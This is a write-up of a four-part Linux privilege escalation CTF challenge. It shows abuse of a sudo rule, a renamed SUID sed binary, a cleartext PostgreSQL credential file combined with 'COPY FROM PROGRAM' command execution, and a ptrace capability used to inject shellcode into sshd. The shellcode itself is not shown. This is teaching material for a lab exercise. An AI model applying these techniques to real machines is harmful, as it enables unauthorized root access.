5Charlie CTF - Escalator
A write-up of the “Escalator” privelege escalation challenge set from 5Charlie CTF.
Escalator 1
Escalator 1 - Challenge
To access these challenges, ssh to chosen@analysis.5charlie.com using the attached private key.
What is reah’s flag?
Attachments: id_chosen
- SSH Key
Escalator 1 - Solution
As an entry point to the challenge, we’re probably looking for some low-hanging fruit.
We can check what privileges users are given by the sudo
utility by using the command:
User chosen may run the following commands on e9b5bb17d8a0:
(reah) NOPASSWD: /bin/egrep
Examining the output, we can determine that we’re allowed to run the egrep
command as the user reah
without specifying a pasword (NOPASSWD
).
When running the command, make sure you use the absolute path.
Flag: flag{curiosity_kindled}
Escalator 2
Escalator 2 - Challenge
What is solaire’s flag?
Escalator 2 - Solution
This user also has a low number of points assigned. We’re likely looking for something common. Let’s search for suid binaries, or binaries that run with another user’s permissions.
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/local/bin/sunbro
/bin/umount
/bin/mount
/bin/su
Most of these are fairly common and not risky, but /usr/local/bin/sunbro
stands out both because it’s not one of the usual results and also because “sun” and “sol” are closely related language.
chosen@e9b5bb17d8a0:/home/solaire$ ls -la /usr/local/bin/sunbro
-rwsr-xr-x 1 solaire root 122224 May 13 03:51 /usr/local/bin/sunbro
chosen@e9b5bb17d8a0:/home/solaire$ file /usr/local/bin/sunbro
/usr/local/bin/sunbro: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=33c5bdbbb64a68a74188dcedb0a200fa78b6557d, stripped
chosen@e9b5bb17d8a0:/home/solaire$ /usr/local/bin/sunbro
Usage: /usr/local/bin/sunbro [OPTION]... {script-only-if-no-other-script} [input-file]...
-n, --quiet, --silent
suppress automatic printing of pattern space
--debug
annotate program execution
-e script, --expression=script
add the script to the commands to be executed
-f script-file, --file=script-file
add the contents of script-file to the commands to be executed
--follow-symlinks
follow symlinks when processing in place
-i[SUFFIX], --in-place[=SUFFIX]
edit files in place (makes backup if SUFFIX supplied)
-l N, --line-length=N
specify the desired line-wrap length for the `l' command
--posix
disable all GNU extensions.
-E, -r, --regexp-extended
use extended regular expressions in the script
(for portability use POSIX -E).
-s, --separate
consider files as separate rather than as a single,
continuous long stream.
--sandbox
operate in sandbox mode (disable e/r/w commands).
-u, --unbuffered
load minimal amounts of data from the input files and flush
the output buffers more often
-z, --null-data
separate lines by NUL characters
--help display this help and exit
--version output version information and exit
If no -e, --expression, -f, or --file option is given, then the first
non-option argument is taken as the sed script to interpret. All
remaining arguments are names of input files; if no input files are
specified, then the standard input is read.
GNU sed home page: <https://www.gnu.org/software/sed/>.
General help using GNU software: <https://www.gnu.org/gethelp/>.
Examining the file, we can determine that this is just GNU utility sed
, but renamed.
Flag: flag{praise_the_sun}
Escalator 3
Escalator 3 - Challenge
What is dusk’s flag?
Escalator 3 - Solution
The point values are increasing. This will probably be a little tougher. I probably should have taken a look at dusk’s home directory first, but after skimming some other areas that’s where I eventually ended up.
chosen@b78b6d382aea:/home/dusk$ ls -la
total 28
drwxr-xr-x 1 dusk dusk 4096 May 13 03:51 .
drwxr-xr-x 1 root root 4096 May 13 03:51 ..
-rw-r--r-- 1 dusk dusk 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 dusk dusk 3526 Apr 18 2019 .bashrc
-rwx------ 1 dusk dusk 20 May 13 03:51 flag.txt
-rw-r--r-- 1 dusk dusk 20 May 13 03:51 .pgpass
-rw-r--r-- 1 dusk dusk 807 Apr 18 2019 .profile
Interesting. We have a Postgresql credential file stored in the directory. My best guess at this point is that we’re going to use that to authenticate to Postgres as dusk and use Postgres to read the flag file. Let’s give it a go.
chosen@b78b6d382aea: /home/dusk^Gchosen@b78b6d382aea:/home/dusk$ cat .pgpass
*:*:*:dusk:oolacile
We don’t know what databases exist (may be able to find them elsewhere on the system, but I didn’t check), so we’ll use one that’s likely to exist by default: template1
.
chosen@b78b6d382aea:/home/dusk$ psql -U dusk template1
Password for user dusk:
psql (12.2 (Debian 12.2-2.pgdg100+1))
Type "help" for help.
template1=#
Let’s try reading the flag file.
template1=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
template1=# COPY cmd_exec FROM PROGRAM 'cat /home/dusk/flag.txt'; SELECT * FROM cmd_exec;
cmd_output
flag{crystal_clear}
Flag: flag{crystal_clear}
Escalator 4
Escalator 4 - Challenge
What is root’s flag?
Escalator 4 - Solution
This one has quite a point difference compared to the other flags. Endgame. We burn through all the common low-hanging fruit, check through a lot of misconfigurations, and finally come across something interesting by checking binary capabilities.
/usr/bin/python3.7 = cap_sys_ptrace+ep
If you’re unfamiliar with newer Linux systems, there are “capabilities” that allow a binary to run privileged operations.
In this instace python3.7
has the ability to use ptrace
capabilities.
cap_sys_ptrace
is permission to debug.
Given this capability, we can pause, modify, and restart any process running on the system.
We’ll use this to pause a process running as root, inject shellcode, and run it with those permissions.
The only process running as root is sshd
, but luckily it spawns each ssh session in a new thread, so we don’t have to worry about our connection.
I wasn’t incredibly familiar with how to do this in Python, so I spent a good amount of time digging through some resources before a member of my team pointed me to a similar challenge from PentesterAcademy: https://attackdefense.com/challengedetailsnoauth?cid=1412 The code was for the wrong Python version and a bit more than I was looking for, but I was eventually able to make some conversions and boil it down to what I was looking for into the following.
After running it by opening a python3.7
interpreter and pasting it in, we were able to connect to the new bind shell.
Flag: flag{oh_the_humanity}